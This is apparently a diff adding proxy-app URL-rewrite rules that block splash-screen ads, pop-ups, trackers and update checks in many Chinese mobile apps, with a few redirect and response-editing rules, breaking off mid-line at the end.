+https?:\/\/helper\.2bulu\.com\/(greenPea\/queryTasks|proSpecial\/allData|saveSplashFrequencyStatistics|getPopInfo|getAppEntranceConfig|promote\/list|getSplash|outing\/reqFoundNewList|outing\/reqIndex) - reject +# hostname = dispatcher.camera360.com +^https?:\/\/dispatcher\.camera360\.com\/api\/v\d\/list$ - reject +# 开屏广告 感谢【可莉🅥】分享 +^https?:\/\/app\.missevan\.com\/site\/launch\? - reject +# hostname = x.seeyouyima.com, axxd.xmseeyouyima.com, config-service.seeyouyima.com +^http:\/\/x\.seeyouyima\.com\/adx\/staticstics\? - reject +^https:\/\/axxd\.xmseeyouyima\.com\/ad\/ - reject +^https:\/\/axxd\.xmseeyouyima\.com\/ad_statistics\? - reject +^https:\/\/axxd\.xmseeyouyima\.com\/v1\/getad\? - reject +^https:\/\/axxd\.xmseeyouyima\.com\/pregetad\? - reject +# hostname = j-image.missfresh.cn +^https?:\/\/j-image\.missfresh\.cn\/img_(.+)\.gif$ - reject +^https?:\/\/j-image\.missfresh\.cn\/img_(.+)\.(jpg|jpeg|gif|png)\?iopcmd=convert&dst=webp&q=85$ - reject +# hostname = creditcardapp.bankcomm.cn, creditcardapp.bankcomm.com, creditcard.bankcomm.cn, creditcard.bankcomm.com +^https?:\/\/creditcard\.bankcomm\.(com|cn)\/tfimg\/public00\/M00\/[a-zA-Z0-9]{2}\/[a-zA-Z0-9]{2}\/[a-zA-Z0-9-]{30}\.(jpg|jpeg) - reject +# 无用请求 +^https?:\/\/[\d\.]+:\d{5}\/\?cmd=indexes - reject +# hostname = mapi.mafengwo.cn +^https?:\/\/mapi\.mafengwo\.cn\/(travelguide\/)?ad - reject +^https?:\/\/mapi\.mafengwo\.cn\/widget\/note\/get_widget_note - reject +^https?:\/\/mapi\.mafengwo\.cn\/system\/push\/get_local_push_config - reject +^https?:\/\/public-deliver9\.miguvideo\.com\/deliver\/site\/batchMatch\/mergeSpot\/miguvideo\/ - reject +^https?:\/\/recommend-dy\.miguvideo\.com\/recommend-dynamic\/dataSource\/v1\/recommend\/merge - reject +^https?:\/\/app-sc\.miguvideo\.com\/app-management\/v1\/staticcache\/settings\/miguvideo\/SHARE_PIC - reject +^https?:\/\/common-sc\.miguvideo\.com\/videoActivity\/activityList\/ - reject +^https?:\/\/display-sc\.miguvideo\.com\/display\/v3\/static\/PERSONAL_CENTER\/ - reject +^https?:\/\/ggx\d+\.miguvideo\.com\/request\/sdk - reject +^https?:\/\/ggic\d+.miguvideo\.com\/ad\/ - reject +# hostname = b-api.ins.miaopai.com +^https?:\/\/b-api\.ins\.miaopai\.com\/\d\/ad/ - reject +# hostname = mea.meitudata.com, adui.tg.meitu.com +^https?:\/\/mea\.meitudata\.com\/kaiping - reject +# hostname = api.mgzf.com +^https?:\/\/api\.mgzf\.com\/renter-operation\/home\/startHomePage - reject +# hostname = capi.mwee.cn +^https?:\/\/capi\.mwee\.cn\/app-api\/V\d{2}\/app\/(ad|getstartad) - reject +# hostname = mangaapi.manhuaren.com, *mangaapi.manhuaren.* +^https?:\/\/mangaapi\.manhuaren\.com\/v\d\/public\/getStartPageAds - reject +^https?:\/\/.*mangaapi\.manhuaren\.\w{2,4}\/v\d\/public\/(getStartUpMessage|getStartPageAds|getShelfActivity) - reject +^https?:\/\/.*mangaapi\.manhuaren\.\w{2,4}\/v\d\/ad - reject +^https?:\/\/tower\.ubixioe\.com\/mob\/mediation - reject +^https?:\/\/sdk1xyajs\.data\.kuiniuca\.com - reject +# ^https?:\/\/midc\.cdn-static\.abchina\.com\.cn\/distributecenterimg\/file\/download\/(?!bbc2|f015|1655|0992|4678|a194|d8e2|c513|e51c|0ee1|166e|05ca|c882|d5b8|22ed|a0dc|a55a|6f89|3bf9|3c71|52ec|5b62|ve7a|001c|923d|accf|4a10|0bd7|be7a|5b62|5dd6|1f24|006c|775d|bd02|b983|5251|806b|d119|db14|43c9|41d3|8570|2c10|85ea|1435|814e|f422|aec7|738c|d7c8|0538|02b4|fd20|7647|f6ef|07c5|885b|e4cb|685b|30aa|c23b|9603|f27f|eaf8|8011|a5eb|409d|724c|3f2a|e07f|6744|60a6|158c|8ce3) reject-dict +^https?:\/\/midc\.cdn-static\.abchina\.com\.cn\/distributecenterimg\/file\/download\/(ed64|74b5) - reject +# hostname = supportda.ofo.com, ma.ofo.com, activity2.api.ofo.com +^https?:\/\/supportda\.ofo\.com\/adaction\? - reject +^https?:\/\/ma\.ofo\.com\/adImage\/ - reject +^https?:\/\/ma\.ofo\.com\/ads - reject +^https?:\/\/activity2\.api\.ofo\.com\/ofo\/Api\/v2\/ads - reject +^https?:\/\/app\.api\.d3yuiw4\.com\/api\/app\/ad - reject +^https?:\/\/api\.21ec74\.com\/v2\.5\/ad - reject +# hostname = 103.91.210.141 +^https?:\/\/103\.91\.210\.141\:2515\/xgapp\.php\/v2\/top_notice - reject +# hostname = slapi.oray.net +^https?:\/\/slapi\.oray\.net\/client\/ad - reject +^https?:\/\/slapi\.oray\.net\/adver - reject +# hostname = access.mypikpak.com +https://access.mypikpak.com/access_controller/v1/area_accessible - reject +# hostname = lban.spdb.com.cn, wap.spdb.com.cn +^https?:\/\/lban\.spdb\.com\.cn\/mspmk-web-component\/getAdvList\.ah$ - reject +^https?:\/\/lban\.spdb\.com\.cn\/mspmk-web-component\/getAdvertisementList\.ah - reject +^https?:\/\/lban\.spdb\.com\.cn\/mspmk-web-component\/prefetchAdvList\.ah - reject +^https?:\/\/wap\.spdb\.com\.cn\/mspmk-web-homeassist\/OpenScreenAdv\.ah$ - reject +# 开屏广告 感谢【Ava阿檬】分享 +^https?:\/\/j1\.pupuapi\.com\/client\/marketing\/banner\/v7\?position_types=(?!2)(.*)&store_id - reject +^https?:\/\/j1\.pupuapi\.com\/client\/marketing\/banner\/v7\?position - reject +^https?:\/\/hcz-member\.pingan\.com\.cn\/micro-api\/homepage\/do\/app\/popbox\/getTopPopBox - reject +# hostname = api.pinduoduo.com, api.yangkeduo.com, mobile.yangkeduo.com +^https?:\/\/api\.(pinduoduo|yangkeduo)\.com\/api\/cappuccino\/splash - reject +# hostname = adpai.thepaper.cn +^https?:\/\/adpai\.thepaper\.cn\/.+&ad= - reject +# hostname = m.qianbao.qq.com +^https?:\/\/m\.qianbao\.qq\.com\/pages\/walletHome\?invisible - reject +# hostname = us.l.qq.com +^https?:\/\/us\.l\.qq\.com\/exapp\?spsa=\d - reject +# hostname = us.l.qq.com, y.gtimg.cn, music.y.qq.com +^https?:\/\/us\.l\.qq\.com\/exapp - reject +^https?:\/\/y\.gtimg\.cn\/music\/common\/upload\/t_splash_info\/ - reject +^https?:\/\/.+?\/music\/common\/upload\/t_splash_info\/ - reject +^https?:\/\/((25[0-5]|2[0-4]\d|1\d{2}|[1-9]?\d)\.){3}(25[0-5]|2[0-4]\d|1\d{2}|[1-9]?\d)\/music\/common\/upload\/t_splash_info\/ - reject +^https:\/\/music\.y\.qq\.com\/maproxy\/getPbCompressAd - reject +^https?:\/\/client\.qunar\.com\/pitcher-proxy\?qrt=p_splashAd - reject +^https?:\/\/mage\.if\.qidian\.com\/argus\/api\/v\d\/client\/getsplashscreen - reject +^https?://magev6.if.qidian.com/argus/api/v1/client/iosad - reject +^https?://magev6.if.qidian.com/argus/api/v1/bookshelf/getad - reject +^https?://magev6.if.qidian.com/argus/api/v4/client/getsplashscreen? - reject +^https?:\/\/magev6\.if\.qidian\.com\/argus\/api\/v1\/adv\/getadvlistbatch - reject +# 删除了域名lf-cdn-tos.bytescm.com,原因是无法MITM +^https?:\/\/open\.e\.kuaishou\.cn\/rest\/e\/v3\/open\/univ - reject +^https?:\/\/api-access\.pangolin-sdk-toutiao-b\.com\/api\/ad\/union\/sdk\/get_ads - reject +^https?:\/\/api-access\.(pangolin-sdk-toutiao|pangolin-sdk-toutiao1)\.com\/api\/ad - reject +^https?:\/\/dsp\-x\.jd\.com\/adx\/sdk - reject +^https?:\/\/api\-cfg\.wtzw\.com\/v1\/(adv|reward|operation) - reject +^https?:\/\/p1\-lm\.adukwai\.com\/bs2\/adUnionVideo - reject +^https?:\/\/lf\-cdn\-tos\.bytescm\.com\/obj\/static\/ad - reject +^https?:\/\/open\.qyer\.com\/qyer\/config\/get - reject +^https?:\/\/media\.qyer\.com\/ad\/ - reject +# 字节跳动广告 +^https:\/\/ether-pack\.pangolin-sdk-toutiao\.com\/union\/endcard\/ - reject +^https:\/\/api-access\.pangolin-sdk-toutiao\d?\.com\/api\/ad\/ - reject +^https:\/\/sf\d+-fe-tos\.pglstatp-toutiao\.com\/obj\/ad-pattern\/ - reject +^https:\/\/lf-cdn-tos\.bytescm\.com\/obj\/static\/ad\/ - reject +# hostname = a.qiumibao.com +^https?:\/\/a\.qiumibao\.com\/activities\/config\.php - reject +^https?:\/\/a\.qiumibao\.com\/ios\/config\/\?version_code= - reject +# hostname = api.qbb6.com +^https?:\/\/api\.qbb6\.com\/ad\/ - reject +# hostname = fmapp.chinafamilymart.com.cn +^https?:\/\/fmapp\.chinafamilymart\.com\.cn\/api\/app\/biz\/base\/appversion\/latest - reject +# 去广告 (需卸载App重装) img01.51jobcdn.com +^https:\/\/img01\.51jobcdn\.com\/im\/mkt/(?:tg/((19|20)\d{2})banner/(?!jcgz2/)|\d{4}/bd/\d{4}/).*\.jpg - reject +# 开屏及营销广告 +^https?:\/\/appapi\.51job(app)?\.com\/api\/market\/(?>adtrace|get_launch|get_prompt) - reject +# 顶部弹窗 +^https?:\/\/cupid\.51job(app)?\.com\/open\/guide\/home-page-top - reject +# 首页右上角浮窗及右边浮标 +^https?:\/\/cupid\.51job(app)?\.com\/open\/user-task\/user\/task\/init - reject +# 弹窗广告 +^https?:\/\/cupid\.51job(app)?\.com\/launch-hub\/open\/noauth\/popUp - reject +# hostname = webapi.qmai.cn, miniapp.qmai.cn +^https?:\/\/(?>webapi|miniapp)\.qmai\.cn\/web\/cmk-center\/marketing\/canvas\/advert - reject +# hostname = app.peopleapp.com, stat.peopleapp.com, adstatic.peopleapp.com +^https?:\/\/app\.peopleapp\.com\/Api\/\d+/HomeApi\/(adv|getAdvertImage) - reject +^https?:\/\/stat\.peopleapp\.com\/ - reject +# RRTV_屏蔽軟件更新 +^https?:\/\/api\.rr\.tv\/.*?Version - reject +# hostname = cms.daydaycook.com.cn, api.daydaycook.com.cn +^https?:\/\/cms\.daydaycook\.com\.cn\/api\/cms\/advertisement\/ - reject +^https?:\/\/api\.daydaycook\.com\.cn\/daydaycook\/server\/ad\/ - reject +# 国际版Soul去广告 +https://api-global.soulapp.me/app/open/get - reject +# hostname = mpcs.suning.com, image.suning.com, luckman.suning.com +^https?:\/\/mpcs\.suning\.com\/mpcs\/dm\/getDmInfo - reject +^https?:\/\/(api|api-bk\d+)\.tv\.sohu\.com\/agg\/api\/app\/config\/bootstrap - reject +^https?:\/\/pic\.k\.sohu\.com\/img\d\/wb\/tj\/ - reject +# 开屏广告 +^https?://(ios|android)\.sogou\.com/[^/]+/sogou_input_[^/]+/[^/]+/index\.html - reject +# hostname = editor.sm.cn +^https?:\/\/editor\.sm\.cn\/launch_picture - reject +# hostname = mapi.sfbest.com +^https?:\/\/mapi\.sfbest\.com\/brokerservice-server\/cms\/getPositionById.* - reject +# hostname = ios.sspai.com +https://ios.sspai.com/api/v3/recommend/page/get\?ad.*ios_home_modal - reject +# hostname = ut2.shuqistat.com, dsp.toutiao.com, sf3-be-pack.pglstatp-toutiao.com, api-access.pangolin-sdk-toutiao.com, sq.sljkj.com, ocean.shuqireader.com, img-tailor.11222.cn, message.shuqireader.com, feedback.uc.cn, *.shuqireader.com, 101.91.69.26 +^https?:\/\/ut2\.shuqistat\.com\/.+\.gif - reject +^https?:\/\/dsp\.toutiao\.com\/api\/xunfei\/ads\/ - reject +^https?:\/\/sf3-be-pack\.pglstatp-toutiao\.com\/img\/ad\.union\.api - reject +^https?:\/\/api-access\.pangolin-sdk-toutiao\.com\/api\/ad\/.+ - reject +^https?:\/\/sq\.sljkj\.com\/api\/sdk\/ads2 - reject +^https?:\/\/ocean\.shuqireader\.com\/api\/ad\/adserver\/.+ - reject +^https?:\/\/ocean\.shuqireader\.com\/api\/route\/iosReadPage\/ad.+ - reject +^https?:\/\/.+\.pglstatp-toutiao\.com - reject +^https?:\/\/img-tailor\.11222\.cn\/pm\/app\/.+\.gif - reject +^https?:\/\/img-tailor\.11222\.cn\/cms\/upload\/img\/.+ - reject +^https?:\/\/message\.shuqireader\.com\/message\/.+ - reject +^https?:\/\/101\.91\.69\.26:8080\/.+ - reject +^https?:\/\/feedback\.uc\.cn\/feedback\/api\/get_unread_status - reject +^https?:\/\/.+\.shuqireader\.com\/sapi\/.+ - reject +^https?:\/\/gw-passenger\.01zhuanche\.com\/gw-passenger\/zhuanche-passenger-token\/leachtoken\/webservice\/homepage\/queryADs - reject +^https?:\/\/gw-passenger\.01zhuanche\.com\/gw-passenger\/zhuanche-passengerController\/notk\/passenger\/recommendADs - reject +# hostname = app.homeinns.com +^https?:\/\/app\.homeinns\.com\/api\/landing - reject +# hostname = apis.lifeweek.com.cn +https://apis.lifeweek.com.cn/api/baseConfig/getIosNewConfig - reject +# 开屏广告 +^https?:\/\/sh-gateway\.shihuo\.cn\/v\d\/services\/sh-adapi\/home\/(screen|ad) - reject +# hostname = api-sams.walmartmobile.cn +^https?:\/\/api-sams\.walmartmobile\.cn\/api\/v\d\/sams\/sams-user\/(window\/getGoUpPlus|screen_promotion\/get) - reject +# hostname = api.pinduoduo.com +^https?:\/\/api\.pinduoduo\.com\/api\/ktt_gateway\/activity\/feeds\/personal_home_page\/ - reject +# 感谢【可莉】分享 +^https?:\/\/.*\.i18n-pglstatp\.com\/obj\/ad-pattern-sg - reject +# hostname = top-widgets-api.xiaozujian.com +^https?:\/\/top-widgets-api\.xiaozujian\.com\/api\/ad\/config - reject +^https?:\/\/appactive\.1234567\.com\.cn\/AppoperationApi\/OperationService\/GetAppStartImg - reject +# hostname = t1.market.xiaomi.com +^https?:\/\/t1\.market\.xiaomi\.com\/thumbnail\/webp\/w1170q100\/ - reject +^https?:\/\/iphone\.ac\.qq\.com\/.*\/Support\/(getSystemConf|bootScreen) - reject +# 开屏广告 +^https?:\/\/wx\.17u\.cn\/xcxhomeapi\/((aggregator\/index)|(home\/(screen|banner|converge)))$ - reject +# 开屏广告 +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.film\.mtopadvertiseapi\.(queryadvertise|queryloadingbanner)\/ - reject +# 感谢【Baby】分享 +^https?:\/\/bid\.adview\.cn\/agent\/getAd - reject +^https?:\/\/client\.tujia\.com\/bnbapp-node\/app\/(promotion\/popup\/getpopupups\/bnb|portal\/getStartPictureAdvertising) - reject +^https?:\/\/agent-count\.pconline\.com\.cn\/counter\/adAnalyse\/ - reject +^https?:\/\/mrobot\.(pcauto|pconline)\.com\.cn\/v\d\/ad\dp - reject +^https?:\/\/mrobot\.pcauto\.com\.cn\/xsp\/s\/auto\/info\/(ad|preload) - reject +# 感谢【jinlvei】分享 +^https?:\/\/ccmsupport-sz\.tenpay\.com\/cgi-bin\/common\/ccm_page_element.cgi - reject +# > 如果想拦截1234567890-1234?wx类的长连接就加长规则,不加结尾符,只要前面的匹配了都会拦截。 +^https?:\/\/static\.gameplus\.qq\.com\/img\/\d{10}-\d{4}$ - reject +# hostname = qt.qq.com +^https?:\/\/qt\.qq\.com\/lua\/mengyou\/get_splash_screen_info - reject +#^https?:\/\/r\.inews\.qq\.com\/getSplash\?apptype=ios&startarticleid=&__qnr= reject-img +^https?:\/\/r\.inews\.qq\.com\/(adsBlacklist|getFullScreenPic|getQQNewsRemoteConfig) - reject +^https?:\/\/r\.inews\.qq\.com\/(getBannerAds|getNewsRemoteConfig|getSplash|searchHotCatList|upLoadLoc) - reject +# hostname = news.ssp.qq.com, sports3.gtimg.com +^https?:\/\/news\.ssp\.qq\.com\/app - reject +^https?:\/\/sports3\.gtimg\.com\/community\/20cf93884470434eaf38b2e77ab7796a\.png - reject +# hostname = api-marketing.zhinengxiyifang.cn, adsoss.zhinengxiyifang.cn, ads.zhinengxiyifang.cn +^https?:\/\/api-marketing\.zhinengxiyifang\.cn\/api\/v2\/cloudcode\/wechat\/bid - reject +^https?:\/\/adsoss\.zhinengxiyifang\.cn\/ads - reject +# hostname = pubads.g.doubleclick.net, pagead2.googleadservices.com +^https?://pubads.g.doubleclick.net/gampad/ads - reject +^https?://pagead2.googleadservices.com/pagead/adview - reject +# hostname = ios.wps.cn, mobile-pic.cache.iciba.com +^https?:\/\/ios\.wps\.cn\/ad-statistics-service - reject +# 开屏广告 +^https?:\/\/api\.wmpvp\.com\/api\/v\d\/config\/promote - reject +# 移除开屏 +^https?:\/\/wanciwangdata\.oss-cn-beijing\.aliyuncs\.com\/startup\/resource\/content.+ - reject +# hostname = support.you.163.com, m.you.163.com, yanxuan.nosdn.127.net +https://support.you.163.com/appversync/check.do - reject +^https?:\/\/m\.you\.163\.com\/activity\/popWindow - reject +^https?:\/\/yanxuan\.nosdn\.127\.net\/.*\.mp4 - reject +^https?:\/\/gw\.kaola\.com\/gw\/dgmobile\/newOpenAd - reject +^https?:\/\/p\.c\.music\.126.net\/.*?jpg$ - reject +^https?:\/\/img1.126.net\/.+dpi=\w{7,8} - reject +^https?:\/\/img1.126.net\/channel14\/ - reject +^https?:\/\/iadmusicmat\.music.126.net\/.*?jpg$ - reject +^https?:\/\/p\d\.music\.126\.net\/\w+==\/\d+\.jpg$ - reject +^https?:\/\/nex.163.com\/q - reject +^https?:\/\/g1.163.com\/madfeedback - reject +# 广告下发 +^https:\/\/god\.gameyw\.netease\.com\/v\d\/ad - reject +# 其他 +^https?:\/\/oimage([a-z])([0-9])\.ydstatic\.com\/.+adpublish - reject +# hostname = osg-static.sgcc.com.cn, osg-service.sgcc.com.cn +^https?:\/\/(?>csc|osg)-service\.sgcc\.com\.cn:\d+\/emss-pfa-appset-front\/appForceUpdate - reject +^https?:\/\/(?>csc|osg)-service\.sgcc\.com\.cn:\d+\/emss-pfa-appset-front\/appSync\/getAppForceUpgrade - reject +^https?:\/\/(?>csc|osg)-service\.sgcc\.com\.cn:\d+\/.*\/inner\/cache - reject +# hostname = api.wfdata.club +^https?:\/\/api\.wfdata\.club\/v\d\/yesfeng\/(infoCenterAd|yesList) - reject +^https?:\/\/res-release\.wuta-cam\.com\/json\/ads_component_cache\.json - reject +# hostname = snailsleep.net +^https?:\/\/snailsleep\.net\/snail\/v\d\/adTask\/ - reject +^https?:\/\/snailsleep\.net\/snail\/v\d\/screen\/qn\/get\? - reject +# hostname = b.appsimg.com, mapi.appvipshop.com +^https?:\/\/b\.appsimg\.com\/upload\/momin - reject +^https?:\/\/mapi\.appvipshop\.com\/vips-mobile\/rest\/iosAdInfo\/report - reject +# hostname = info.mina.xiaoaisound.com, marketing-aibox.v.mitvos.com +^https?:\/\/(info\.mina\.xiaoaisound|marketing-aibox\.v\.mitvos)\.com\/advertise(?!\/banner) - reject +^https?:\/\/(info\.mina\.xiaoaisound|marketing-aibox\.v\.mitvos)\.com\/payGuide\/userCenter - reject +# hostname = apiwz.midukanshu.com +^https?:\/\/apiwz\.midukanshu\.com\/advert\/getPopup$ - reject +^https?:\/\/apiwz\.midukanshu\.com\/advert\/treasureInfo$ - reject +^https?:\/\/apiwz\.midukanshu\.com\/config\/getAds$ - reject +# hostname = api.xiachufang.com +^https?:\/\/api\.xiachufang\.com\/v\d\/ad/ - reject +# 开屏广告 +^https?:\/\/api\d\.sparke\.cn\/admodel\/list\?adspace=spgg&flag=\d$ - reject +# hostname = api.psy-1.com +^https?:\/\/api\.psy-1\.com\/cosleep\/startup - reject +# hostname = mpos-pic.helipay.com +^https?:\/\/mpos-pic\.helipay\.com\/upload\/images\/advertisment\/image - reject +# 小程序净化 +^https?:\/\/ad\.xiaotucc\.com\/advert - reject +# hostname = app-api.niu.com +^https?:\/\/app-api\.niu\.com\/v\d\/advertisement\/ - reject +# hostname = ct.xiaojukeji.com, res.xiaojukeji.com +^https?:\/\/ct\.xiaojukeji\.com\/agent\/v3\/feeds - reject +^https?:\/\/res\.xiaojukeji\.com\/resapi\/activity\/get(Ruled|Preload|PasMultiNotices) - reject +^https?:\/\/res\.xiaojukeji\.com\/resapi\/activity\/mget - reject +# hostname = api.xiaoyi.com +^https?://api.xiaoyi.com\/v5\/app\/mobile\/ads - reject +^https?://api.xiaoyi.com\/v5\/app\/config\?userid=.* - reject +# hostname = www.xiaoxiongmeishu.com +^https:\/\/www\.xiaoxiongmeishu\.com\/api\/(home\/v1\/config\/appInit|s\/v1\/popup\/createCouponPopup) - reject +# 捕获试卷脚本:https://raw.githubusercontent.com/Yu9191/Script/main/shijuan.js +^https?:\/\/api\.xbxxhz\.com\/big_data\/v1\/home_pages - reject +# 弹窗广告 +^https?:\/\/xxyx-client-api\.xiaoxiaoyouxuan\.com\/agent_ad - reject +# 右下角的悬浮广告 +^https?:\/\/xxyx-client-api\.xiaoxiaoyouxuan\.com\/activity\/show - reject +# 禁止上报设备信息 +^https?:\/\/statistic\.live\.126\.net\/statics\/report\/common\/form - reject +# hostname = lchttpapi.xczim.com +^https?:\/\/lchttpapi\.xczim\.com\/1\.1\/functions\/getLaunchImageForIOS - reject +# hostname = pzoap.moedot.net +^https?:\/\/pzoap\.moedot\.net\/xgapp\.php\/v2\/top_notice - reject +# 开屏去广告 +^https?:\/\/ma-adx\.ctrip\.com\/_ma\.gif - reject +^https?:\/\/mbd\.baidu\.com\/newspage\/api\/getmobads\?page\=landingshare - reject +# hostname = acs.m.taobao.com +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.alimusic\.common\.mobileservice\.startinit\/ - reject +# 开屏广告 +^https:\/\/mobileapi\.xiamenair\.com\/mobile-starter - reject +# 我的页面横幅 +^https:\/\/dinamicx\.alibabausercontent\.com\/pub\/fish_home_top_kingkong_new\/ - reject +# hostname = app.xinpianchang.com +^https?:\/\/app\.xinpianchang\.com\/open_screen\? - reject +# 修复轮播Ad失效Bug +^https?:\/\/.*\.xima.*\.com\/discovery-feed\/focus\/queryF - reject +# 播放页_Live +^https?:\/\/.*\.xima.*\.com\/mobile-playpage\/view\/ - reject +# MyInfo红点提醒 +^https?:\/\/.*\.xima.*\.com\/chaos-notice-web\/v1\/message\/preview\/list - reject +# 屏蔽大红包Tips +^https?:\/\/.*\.xima.*\.com\/social-web\/bottomTabs\/dynamicEntrance\/status - reject +# 屏蔽gif弹窗Ad +^https?:\/\/.*\.xmcdn\.com\/\w{8}\/\w{4}-\w{16}\/.+gif$ - reject +# gslb +^https?:\/\/gslb.*\.xima.*\.com\/ - reject +# 屏蔽Aged请求 +^https?:\/\/.*\.xima.*\.com\/(dog-portal\/checkOld|(child-mobile\/child|aged-mobile\/aged)\/mode\/query) - reject +# 部分Tab弹窗 +^https?:\/\/.*\.xima.*\.com\/discovery-feed\/isShowUserGiftPendant - reject +# 屏蔽红点提示 +^https?:\/\/.*\.xima.*\.com\/mobile-user\/unread - reject +# 屏蔽minor请求 +^https?:\/\/.*\.xima.*\.com/mobile-user/minorProtection/pop - reject +# 屏蔽隐私搜集 +^https?:\/\/.*\.xima.*\.com\/collector\/xl\/v\d - reject +# 屏蔽版本更新 +^https?:\/\/.*\.xima.*\.com\/butler-portal\/versionCheck - reject +# 屏蔽开屏广告 +^https?:\/\/(adse\.wsa|adse|adbehavior|xdcs-collector)\.xima.*\.com\/.* - reject +# 屏蔽位置请求 +^https?:\/\/.*\.xima.*\.com\/mobile\/discovery\/v\d\/location - reject +# 屏蔽热搜词 +^https?:\/\/.*\.xima.*\.com\/(hub\/)?hotWord - reject +# 屏蔽热搜board +^https?:\/\/.*\.xima.*\.com\/(hub\/)?hotWordBillboard - reject +# 屏蔽搜索框定时_Ad +^https?:\/\/.*\.xima.*\.com\/(hub)?guideWord - reject +# 屏蔽实时Ad请求 +^https?:\/\/.*\.xima.*\.com\/api\/v\d\/adRealTime - reject +# 屏蔽ting_Ad +^https?:\/\/.*\.xima.*\.com\/ting\/(loading|feed|home)? - reject +# 屏蔽升级弹窗 感谢@jinlvei分享 影响软件运行,如开启可自行添加主机名 +^https?:\/\/static\.mobile-bank\.psbc\.com\/mgs - reject +# hostname = ad.ysepay.com +^https?:\/\/ad\.ysepay\.com\/yst-ad\/ST101001\/[0-9]{11}\.jpg - reject +^(http:\/\/www\.vgtime\.com\/app\/topic\/\d+\.jhtml\?.*?&close_ad=)false(&page=\d&sign=\w+×tamp=\d+&font_size=\d$) $1true$2 302 +# hostname = venus.yhd.com +^https?:\/\/venus\.yhd\.com\/memhome\/launchConfig - reject +# 开屏广告及题库广告 感谢【Jessire】分享 +^https?:\/\/api\.17kjs\.com\/meta\/ads_targets - reject +# hostname = img.dailmo.com, img.allahall.com, app.zhoudamozi.com +^https?:\/\/img\.dailmo\.com\/img\/61\/23c7125bfe6166d69f3bff5b0ca4d31e\.jpg - reject +^https?:\/\/img\.dailmo\.com\/img\/50\/edb40c6392f848df37f9c31d8a6f90f6\.jpg - reject +^https?:\/\/img\.dailmo\.com\/img\/6\/90585d9e96c73dd49644af57d8501624\.jpg - reject +^https?:\/\/img\.dailmo\.com\/img\/5\/6cb2aa237ce1f65944aa1ecb29fbdeef\.jpg - reject +^https?:\/\/img\.allahall\.com\/img\/61\/23c7125bfe6166d69f3bff5b0ca4d31e\.jpg - reject +^https?:\/\/img\.allahall\.com\/img\/50\/edb40c6392f848df37f9c31d8a6f90f6\.jpg - reject +^https?:\/\/img\.allahall\.com\/img\/6\/90585d9e96c73dd49644af57d8501624\.jpg - reject +^https?:\/\/img\.allahall\.com\/img\/5\/6cb2aa237ce1f65944aa1ecb29fbdeef\.jpg - reject +^https?:\/\/img\.allahall\.com\/img\/59\/6a13a75dfe46ebfdac96bd27ef098885\.jpg - reject +# hostname = m.yap.yahoo.com +^https?:\/\/m\.yap\.yahoo\.com\/v\d{2}\/getAds\.do - reject +# hostname = i.ys7.com +^https?:\/\/i\.ys7\.com\/api\/ads - reject +# hostname = nnapp.cloudbae.cn +^https?:\/\/nnapp\.cloudbae\.cn:\d+\/mc\/api\/advert/ - reject +^https?:\/\/nnapp\.cloudbae\.cn\/mc\/api\/advert/ - reject +# hostname = new-app-api.ylyk.com +^https?:\/\/new-app-api\.ylyk\.com\/v\d\/user\/myinfo\/adviser - reject +# hostname = api.yikaobang.com.cn +^https?:\/\/api\.yikaobang\.com\.cn\/client\/main\/homePageSmallAd - reject +^https?:\/\/api\.yikaobang\.com\.cn\/index\.php\/Client\/main\/startPage - reject +# 去强制更新 感谢【SH DDDDD】分享 +^https?:\/\/api\.yikaobang\.com\.cn\/index\.php\/version\/version\/check - reject +^https?:\/\/webboot\.zhangyue\.com\/zycl\/api\/ad\/ - reject +^https?:\/\/saad\.ms\.zhangyue\.net\/ad - reject +# hostname = service.busi.inke.cn +^https?:\/\/service\.busi\.inke\.cn\/api\/flash\/screen - reject +^https?:\/\/cdn\.cmgadx\.com\/sdk\/pool\/\w+\.json - reject +# hostname = pipi.4kya.com +^https?:\/\/pipi\.4kya\.com\/\/xgapp\.php\/v3\/advert\.position=[^2]+ - reject +# hostname = gongdu.youshu.cc +^https?:\/\/gongdu\.youshu\.cc\/m\/open_screen\/list_by_udid - reject +^https?:\/\/gw3\.ykccn\.com\/activityServer\/app\/commandAd - reject +# 设置栏目内广告 +^https?:\/\/intellicc\.bas\.cmbchina\.com\/Edge\/api\/mlife\.intelli\.render\.api\.render\/getDynamicDataSec - reject +# 开屏广告 +^https:\/\/imcs\.citicbank\.com\/cloud\/([a-fA-F0-9]{32})\.(jpg|png) - reject +^https?:\/\/client\.app\.coc\.10086\.cn\/biz-orange\/DN\/explorePage\/getAdverList - reject +# 多个悬浮窗 +^https?:\/\/(client\.app\.coc|app)\.10086\.cn\/biz-orange\/DN\/emotionMarket - reject +# hostname = cloud.189.cn, zt-app.go189.cn +^https?:\/\/cloud\.189\.cn\/include\/splash\/ - reject +# 人保头条 +^https?:\/\/zgrb\.epicc\.com\.cn\/G-HAPP\/h\/headlines\/queryHeadlines - reject +^https:\/\/api\.zhihu\.com\/unlimited\/go\/my_card - reject +# 其他 - 服务器推送配置 +^https:\/\/api\.zhihu\.com\/ab\/api\/v1\/products\/zhihu\/platforms\/ios\/config - reject +^https:\/\/link\.zhihu\.com\/\?target=(?:https?)?(?:%3A|:)?(?:\/\/|%2F%2F)?(.*) http://$1 302 +^https:\/\/www\.zhihu\.com\/api\/v4\/hot_recommendation - reject +^https:\/\/www\.zhihu\.com\/api\/v4\/mcn\/v2\/linkcards\? - reject +^https:\/\/www\.zhihu\.com\/api\/v4/(?:answers|questions)\/\d+/related-readings - reject +^https:\/\/www\.zhihu\.com\/commercial_api\/banners_v3\/mobile_banner - reject +^https:\/\/zhuanlan\.zhihu\.com\/api\/articles\/\d+\/recommendation - reject +^https?:\/\/[\w-]+\.amemv\.com\/aweme\/v\d\/ad\/ - reject +^https?:\/\/[\w-]+\.snssdk\.com\/.+_ad\/ - reject +# hostname = api.izuiyou.com, adapi.izuiyou.com +^https?:\/\/api\.izuiyou\.com\/ad\/ - reject +^https?:\/\/adapi\.izuiyou\.com\/ - reject +^https?:\/\/mlol\.qt\.qq\.com\/go\/recommend - reject +# 开屏广告 +^https?:\/\/zua\.zhidiantianxia\.cn\/api\/adverts - reject +# hostname = zjdr666.com +^https?:\/\/zjdr666\.com\/zjdr\.php\/v\d\/(version|top_notice\?|advert\?position=[^2]+) - reject + +[Body Rewrite] +http-response-jq ^https:\/\/api\.bilibili\.com\/pgc\/view\/v2\/app\/season\? 'del(.data.payment)' +http-response-jq ^https:\/\/api\.bilibili\.com\/pgc\/page\/(?:bangumi|cinema\/tab)\? '.result.modules |= if . then 